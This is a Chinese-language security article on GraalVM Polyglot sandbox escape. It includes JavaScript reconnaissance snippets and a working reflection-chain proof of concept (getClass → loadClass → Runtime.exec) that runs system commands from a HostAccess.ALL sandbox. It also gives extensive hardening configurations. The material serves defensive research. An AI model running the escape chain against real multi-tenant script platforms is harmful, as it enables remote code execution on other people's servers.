GraalVM Polyglot 沙箱逃逸:跨语言上下文 RCE
字数 4058
更新时间 2026-05-13 13:18:11

GraalVM Polyglot 沙箱逃逸与纵深防御:从反射攻击到安全最佳实践

0. 引言

GraalVM 的 Polyglot(多语言互操作)能力允许在单个 JVM 进程中无缝执行 JavaScript、Python、Ruby 等多种语言。此特性被广泛应用于规则引擎、低代码平台、插件系统和 Serverless 等场景,其 Context 对象常被用作安全沙箱。然而,不当配置会导致严重的沙箱逃逸风险,攻击者可能实现跨上下文远程代码执行。

1. 环境搭建

1.1 安装 GraalVM CE for JDK 21

使用 SDKMAN 工具安装 GraalVM:

curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"
sdk install java 21.0.2-graalce

1.2 Maven 项目搭建

在 pom.xml 中添加 GraalVM Polyglot 依赖:

<dependency>
    <groupId>org.graalvm.polyglot</groupId>
    <artifactId>polyglot</artifactId>
    <version>${graalvm.version}</version>
</dependency>
<dependency>
    <groupId>org.graalvm.polyglot</groupId>
    <artifactId>js-community</artifactId>
    <version>${graalvm.version}</version>
    <type>pom</type>
</dependency>

1.3 模拟安全脚本执行平台

核心组件:

  1. ScriptHelper.java - 暴露给沙箱的工具类
  2. SandboxedScriptEngine.java - 使用 HostAccess.EXPLICIT 的安全配置
  3. VulnerableScriptEngine.java - 使用 HostAccess.ALL 的危险配置

安全配置示例:

Context context = Context.newBuilder("js")
    .allowHostAccess(HostAccess.EXPLICIT)  // 仅允许@Export方法
    .allowHostClassLookup(s -> false)      // 禁止Java.type()
    .allowIO(false)                        // 禁止IO
    .allowCreateThread(false)              // 禁止创建线程
    .allowNativeAccess(false)              // 禁止native调用
    .allowCreateProcess(false)             // 禁止创建进程
    .build();

2. GraalVM Polyglot 安全架构

2.1 Context 隔离模型

GraalVM 的安全核心是 Context 对象,通过 allow* 方法控制权限范围:

配置选项 默认安全值 危险值 (allowAllAccess=true)
allowHostAccess EXPLICIT ALL
allowHostClassLookup null className -> true
allowIO IOAccess.NONE IOAccess.ALL
allowCreateProcess false true
allowNativeAccess false true

2.2 HostAccess 策略详解

GraalVM 提供了 7 种预定义策略:

  1. HostAccess.EXPLICIT(默认)- 仅允许访问标注了 @HostAccess.Export 的 public 方法
  2. HostAccess.SCOPED - 增加方法作用域限制,回调参数自动失效
  3. HostAccess.ALL - 开放所有 public 成员访问权限(包括 getClass()
  4. NONE/CONSTRAINED/ISOLATED/UNTRUSTED - 更严格的策略

重要警告:官方文档明确指出,HostAccess.ALL 策略不应在不可信环境中使用。

2.3 Value 类型系统与跨语言代理

Java 对象通过 putMember() 注入到 JS 上下文时,GraalVM 创建代理包装。对象图的可遍历性由 HostAccess 策略决定,而非对象设计本身。

3. 攻击面枚举

3.1 攻击面1:暴露的宿主对象方法反射

当使用 HostAccess.ALL 时,所有 public 方法(包括 getClass())均可被脚本调用,为反射链攻击打开入口。

3.2 攻击面2:通过 getClass() 的链式反射调用

getClass() 返回的 Class 对象提供了完整的 Java 反射 API 访问:

  • 获取任意类的 Class 对象(Class.forName()
  • 调用任意方法(Method.invoke()
  • 访问任意字段(Field.get()/set()
  • 创建任意实例(Constructor.newInstance()

3.3 攻击面3:原型链污染跨越语言边界

GraalJS 实现了 ECMAScript 原型链机制。当 allowListAccessallowMapAccess 开启时,Java 集合类型的迭代器和内部节点可能通过原型链暴露。

3.4 攻击面4:Value 对象的成员枚举与类型混淆

Value.getMemberKeys() 允许枚举对象的所有可访问成员,getMetaObject() 可获取类型元信息,在宽松策略下可用于对象图侦察。

3.5 攻击面5:Polyglot Bindings 共享通道

allowPolyglotAccess 非 NONE 时,Polyglot.import()/export() 提供跨语言共享通道,可能泄露敏感对象引用。

4. 攻击链构造 — Phase 1:沙箱内侦察

4.1 枚举全局对象

通过 globalThisthis 发现注入的宿主对象:

var names = Object.getOwnPropertyNames(globalThis);
var hostObjects = [];
for (var name of names) {
    var val = globalThis[name];
    if (typeof val === 'object' && val !== null && val !== globalThis) {
        hostObjects.push(name);
    }
}

4.2 探测暴露对象的可调用成员

枚举 scriptHelper 的所有可访问成员:

var members = Object.getOwnPropertyNames(scriptHelper);
for (var m of members) {
    var val = scriptHelper[m];
    var type = typeof val;
    var info = m + ' : ' + type;
    if (type === 'function') {
        info += ' (arity=' + val.length + ')';
    }
    scriptHelper.log(info);
}

关键发现:在 HostAccess.ALL 配置下,getClass() 方法可达,class 属性也暴露为可读对象。

4.3 通过 toString() 获取类型信息

即使在 HostAccess.EXPLICIT 下,toString() 可能通过字符串转换被隐式调用:

var str = scriptHelper.toString();  // 输出: com.security.research.ScriptHelper@293bb8a5

泄露了完整类名和内存地址,为后续反射攻击提供精确信息。

5. 攻击链构造 — Phase 2:getClass() 逃逸

5.1 核心原理

getClass()java.lang.Object 的 public 方法,返回对象的 Class 对象。在 HostAccess.ALL 策略下,攻击者可通过反射链完全绕过沙箱限制:

scriptHelper.getClass() → ClassLoader.loadClass() → Runtime.getRuntime() → exec()

5.2 完整逃逸 PoC

// Step 1: 从任意 Java 对象获取 Class
var clazz = scriptHelper.getClass();

// Step 2: 获取 ClassLoader
var classLoader = clazz.getClassLoader();
var runtimeClass = classLoader.loadClass('java.lang.Runtime');

// Step 3: 获取 getRuntime() 方法
var getRuntimeMethod = runtimeClass.getMethod('getRuntime');
var runtime = getRuntimeMethod.invoke(null);

// Step 4: 获取 exec(String) 方法
var stringClass = classLoader.loadClass('java.lang.String');
var execMethod = runtimeClass.getMethod('exec', stringClass);

// Step 5: 执行系统命令
var process = execMethod.invoke(runtime, 'id');

// Step 6: 读取命令输出
var processClass = classLoader.loadClass('java.lang.Process');
var getInputStream = processClass.getMethod('getInputStream');
var is = getInputStream.invoke(process);

// ... 读取 InputStream 转换为字符串

关键绕过:Context 级的 allowCreateProcess(false) 配置只作用于 GraalJS 语言引擎层面。反射链走的是 JVM 反射层面,不经过语言引擎的权限检查。

6. 攻击链构造 — Phase 3:HostAccess.EXPLICIT 下的绕过

即使使用 HostAccess.EXPLICIT,仍存在多种信息泄露和潜在逃逸路径。

6.1 EXPLICIT 策略的防护边界

仅允许访问标注了 @HostAccess.Export 的 public 方法和字段,getClass()hashCode() 等 Object 基础方法不可见。但安全性高度依赖暴露方法的返回值类型设计。

6.2 技术1:通过返回值类型进行对象图遍历

如果 @Export 方法返回复杂 Java 对象(如 Map、Properties),攻击者可能访问到未预期的对象图区域:

// 危险设计:返回 Properties 对象而非单个值
@HostAccess.Export
public Properties getAllConfig() {
    return System.getProperties();  // 泄露系统属性
}

6.3 技术2:利用 Object 基础方法

toString() 在字符串拼接时被隐式调用:

var info = '' + scriptHelper;  // 输出: com.security.research.ScriptHelper@1a2b3c4d

泄露完整类名、包路径和对象哈希码。

6.4 技术3:通过异常对象泄露信息

异常消息和堆栈信息可能包含敏感数据:

try {
    scriptHelper.formatDate("not_a_number");
} catch(e) {
    scriptHelper.log('Exception: ' + e.message);
    scriptHelper.log('Stack trace: ' + e.stack);
}

从异常信息中可获取:

  • Java 方法参数类型
  • 内部变量名
  • 完整 Java 调用栈
  • 源文件路径和行号

7. 攻击链构造 — Phase 4:完整 RCE 链

7.1 攻击场景设定

典型的多租户脚本执行场景,采用 HostAccess.ALL 策略注入业务工具对象,同时通过 allowIO(false)allowCreateProcess(false) 等配置实施权限收敛。

7.2 完整攻击脚本

(function() {
    'use strict';
    var log = scriptHelper.log;
    
    // Phase 1: 侦察
    log('[*] Phase 1: Reconnaissance');
    var objClass = scriptHelper.getClass();
    log('[+] Target class: ' + objClass.getName());
    
    // Phase 2: 反射链设置
    log('[*] Phase 2: Building reflection chain');
    function getClass(name) {
        return objClass.forName(name);
    }
    
    // Phase 3: 通过 ProcessBuilder 执行命令
    log('[*] Phase 3: Executing command via ProcessBuilder');
    // ... 完整反射链构造
})();

8. 纵深防御方案

8.1 防御层1:最小权限 Context 配置

Context context = Context.newBuilder("js")
    .allowHostAccess(HostAccess.SCOPED)        // 使用 SCOPED 而非 EXPLICIT
    .allowHostClassLookup(s -> false)          // 禁止 Java.type()
    .allowHostClassLoading(false)              // 禁止类加载
    .allowIO(IOAccess.NONE)                    // 完全禁止 IO
    .allowCreateThread(false)                  // 禁止线程
    .allowNativeAccess(false)                  // 禁止 native
    .allowCreateProcess(false)                 // 禁止进程
    .allowPolyglotAccess(PolyglotAccess.NONE)  // 禁止跨语言访问
    .allowEnvironmentAccess(EnvironmentAccess.NONE)
    .allowValueSharing(false)                  // 禁止 Value 共享
    .allowExperimentalOptions(false)
    .build();

8.2 防御层2:HostAccess 精细化控制

HostAccess customAccess = HostAccess.newBuilder()
    .allowAccessAnnotatedBy(HostAccess.Export.class)  // 仅允许 @Export
    .allowPublicAccess(false)                         // 禁止所有 public 方法
    .allowArrayAccess(false)                         // 禁止数组访问
    .allowListAccess(false)                           // 禁止 List 访问
    .allowMapAccess(false)                            // 禁止 Map 访问
    .allowBufferAccess(false)                         // 禁止 Buffer 访问
    .allowIterableAccess(false)                       // 禁止 Iterable 访问
    .allowIteratorAccess(false)                       // 禁止 Iterator 访问
    .methodScoping(true)                              // 启用方法作用域
    .allowAccessInheritance(false)                    // 禁止继承访问
    .allowImplementationsAnnotatedBy(
        HostAccess.Implementable.class)               // 仅允许标注接口
    .build();

8.3 防御层3:ResourceLimits 防 DoS

ResourceLimits limits = ResourceLimits.newBuilder()
    .statementLimit(100_000, null)  // 限制语句执行次数
    .build();

Context context = Context.newBuilder("js")
    .resourceLimits(limits)
    .build();

8.4 防御层4:SandboxPolicy(GraalVM 23.0+)

Context context = Context.newBuilder("js")
    .sandbox(SandboxPolicy.UNTRUSTED)  // 最严格的策略
    .out(out)                           // 必须重定向 stdout
    .err(err)                           // 必须重定向 stderr
    .option("engine.MaxIsolateMemory", "256MB")
    .option("sandbox.MaxHeapMemory", "128MB")
    .option("sandbox.MaxCPUTime", "5s")
    .option("sandbox.MaxASTDepth", "100")
    .option("sandbox.MaxStackFrames", "50")
    .option("sandbox.MaxThreads", "1")
    .option("sandbox.MaxOutputStreamSize", "1MB")
    .option("sandbox.MaxErrorStreamSize", "1MB")
    .build();

8.5 安全加固代码实现

public class SecureSandboxEngine {
    // 自定义安全 HostAccess
    private static final HostAccess SAFE_ACCESS = HostAccess.newBuilder()
        .allowAccessAnnotatedBy(HostAccess.Export.class)
        .allowPublicAccess(false)
        .allowArrayAccess(false)
        .allowListAccess(false)
        .allowMapAccess(false)
        .allowBufferAccess(false)
        .allowIterableAccess(false)
        .allowIteratorAccess(false)
        .methodScoping(true)
        .build();
    
    public static ScriptResult executeScript(String userScript, long timeoutMs) {
        ByteArrayOutputStream stdout = new ByteArrayOutputStream();
        ByteArrayOutputStream stderr = new ByteArrayOutputStream();
        
        try (Context context = Context.newBuilder("js")
            .allowHostAccess(SAFE_ACCESS)
            .allowHostClassLookup(s -> false)
            .allowHostClassLoading(false)
            .allowIO(IOAccess.NONE)
            .allowCreateThread(false)
            .allowNativeAccess(false)
            .allowCreateProcess(false)
            .allowPolyglotAccess(PolyglotAccess.NONE)
            .allowEnvironmentAccess(EnvironmentAccess.NONE)
            .allowValueSharing(false)
            .allowExperimentalOptions(false)
            .out(stdout)
            .err(stderr)
            .resourceLimits(
                ResourceLimits.newBuilder()
                    .statementLimit(100_000, null)
                    .build()
            )
            .build()) {
            
            // 超时控制
            ExecutorService executor = Executors.newSingleThreadExecutor();
            Future<String> future = executor.submit(() -> {
                Value result = context.eval("js", userScript);
                return result.isNull() ? "null" : result.toString();
            });
            
            String result = future.get(timeoutMs, TimeUnit.MILLISECONDS);
            
            return new ScriptResult(
                true,
                stdout.toString(StandardCharsets.UTF_8),
                stderr.toString(StandardCharsets.UTF_8),
                result
            );
        } catch (TimeoutException e) {
            return new ScriptResult(false, "", "Script execution timed out", null);
        } catch (ExecutionException e) {
            // 异常信息脱敏
            String msg = e.getCause() != null
                ? e.getCause().getClass().getSimpleName()  // 不暴露详细信息
                : "Unknown error";
            return new ScriptResult(false, "", "Script error: " + msg, null);
        }
    }
}

安全加固要点:

  1. 自定义 HostAccess:显式禁用所有集合访问和 public 方法访问
  2. 超时控制:通过 ExecutorService + Future.get(timeout) 实现硬超时
  3. 输出隔离:stdout/stderr 重定向到 ByteArrayOutputStream
  4. 资源限制:通过 ResourceLimits.statementLimit 防止无限循环
  5. 异常信息脱敏:仅返回异常类名,不暴露详细堆栈
  6. 强制清理:确保 Context 关闭和线程池销毁

9. 技术思考与感悟

  1. 信任边界管理:GraalVM Polyglot 的安全问题本质上是多语言运行时中的信任边界管理问题。需要在多种语言的对象模型间建立一致的、不可绕过的访问控制。

  2. 攻击面增长:每增加一种语言支持,攻击面呈指数增长。需要防御的不仅是每种语言内部的逃逸,还包括语言之间的边界穿越。

  3. 旁路通道风险:即使所有阀门正确设置,通过 putMember() 注入的 Java 对象本身就是管道系统中的旁路通道。对象携带的方法、返回值、异常信息都是潜在的信息和权限泄露点。

  4. 纵深防御原则:沙箱安全性不等于 Context 配置的安全性,必须包括:

    • Context 最小权限配置
    • HostAccess 精细化控制
    • 暴露对象的安全设计
    • 输出/异常信息脱敏
    • 资源限制和超时控制
  5. 安全配置的默认值:GraalVM 的默认配置相对安全(HostAccess.EXPLICIT),但开发者常因便利性而使用 HostAccess.ALL,这是实际环境中主要的漏洞来源。

  6. 未来的改进方向:随着 SecurityManager 的弃用,Java 需要新的安全模型。GraalVM 的 SandboxPolicy 是积极的方向,但需要更多工具和最佳实践的社区支持。

相似文章
相似文章
 全屏